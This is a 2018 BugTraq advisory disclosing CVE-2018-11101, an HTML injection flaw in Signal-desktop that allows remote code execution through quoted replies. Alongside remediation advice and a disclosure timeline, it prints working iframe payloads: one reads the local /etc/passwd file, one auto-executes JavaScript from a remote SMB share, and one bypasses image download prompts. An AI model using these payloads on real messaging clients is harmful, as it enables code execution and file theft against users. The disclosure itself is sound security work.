BugTraq
CVE-2018-11101: Signal-desktop HTML tag injection variant 2 May 16 2018 06:25PM
Alfredo Ortega (ortegaalfredo gmail com)

Title: Signal-desktop HTML tag injection variant 2

Date Published: 2018-05-16

Last Update: 2018-05-16

CVE Name: CVE-2018-11101

Class: Code injection

Remotely Exploitable: Yes

Locally Exploitable: No

Vendors contacted: Signal.org

Vulnerability Description:

Signal-desktop is the standalone desktop version of the secure
Signal messenger. This software is vulnerable to remote code execution
from a malicious contact, by sending a specially crafted message
containing HTML code that is injected into the chat windows (Cross-site
scripting). This is a new variant of CVE-2018-10994.

Vulnerable Packages:

Signal-desktop messenger v1.7.1
Signal-desktop messenger v1.8.0
Signal-desktop messenger v1.9.0
Signal-desktop messenger v1.10.0
Signal-desktop messenger v1.10.1
Solution/Vendor Information/Workaround:

Do not trust user input. Sanitize it by encoding HTML tags or
filtering them. Also, a CSP header is missing, that would deter the
action of iframes. Include â??frame-src â??none'â? or, if required,
â??frame-src â??self'â? in the CSP declaration.

For final users: Upgrade to signal-desktop messenger v1.11

Credits:

This vulnerability was found and researched by Barrera Oro, Iván Ariel
(@HacKanCuBa), Bryant, Matt (@IAmMandatory), Ortega, Alfredo
(@ortegaalfredo) and Rizzo, Juliano (@julianor).

Technical Description â?? Exploit/Concept Code

After publishing CVE-2018-10994, Matt discovered that the vulnerability
prevailed but the attack was a bit different: the attacker needs to send
HTML code directly as a message, and then reply to that message to
trigger this vulnerability. The Signal-desktop software fails to
sanitize specific HTML tags that can be used to inject HTML code into
remote chat windows when replying to a HTML message. Specifically the
<img> and <iframe> tags can be used to include remote or local
resources. For example, the use of iframes enables full code
execution, allowing an attacker to download/upload files, information,
etc. The <script> tag was also found injectable. In the Windows
operative system, the CSP fails to prevent remote inclusion of resources
via the SMB protocol. In this case, remote execution of JavaScript can
be achieved by referencing the script in a SMB share as the source of an
iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html> and
then replying to it. The included JavaScript code is then executed
automatically, without any interaction needed from the user. The
vulnerability can be triggered in the Signal-Desktop client by sending a
specially crafted message and then replying to it with any text or
content in the reply (it doesnâ??t matter). Examples:

Show an iframe with some text:
<iframe srcdoc="<p>PWONED!!</p>"></iframe>

Display content of userâ??s own /etc/passwd file:
<iframe src="/etc/passwd"></iframe>

Include and auto-execute a remote JavaScript file (for Windows clients):
<iframe src="\\XXX.XXX.XXX.XXX\Temp\test.html"></iframe>

Show a displacing base64-encoded image (bypass â??click to download imageâ?):
<marquee><img
src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgj
ISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9
//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA
AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK
FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG
h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl
5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZ
kE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3
EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFF
JIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7O
ST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8
sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpK
VXZPusR9DSZPrS7j6mv/2Q=="/></marquee>
Timeline:

2018-05-14 19:00 GMT-3: vuln discovered
2018-05-14 20:00 GMT-3: emailed Signal security team
2018-05-14 20:21 GMT-3: reply from Signal: vuln confirmed & patch ongoing
2018-05-14 21:47 GMT-3: signal-desktop update published
2018-05-16 11:00 GMT-3: public disclosure
References:

Patch:
https://github.com/signalapp/Signal-Desktop/compare/v1.11.0-beta.2â?¦dev
elopment
CVE-2018-11101 write-ups:
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection-variant
-2/

https://thehackerblog.com/i-too-like-to-live-dangerously-accidentally-fi
nding-rce-in-signal-desktop-via-html-injection-in-quoted-replies/
CVE-2018-10994 write-up:
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/

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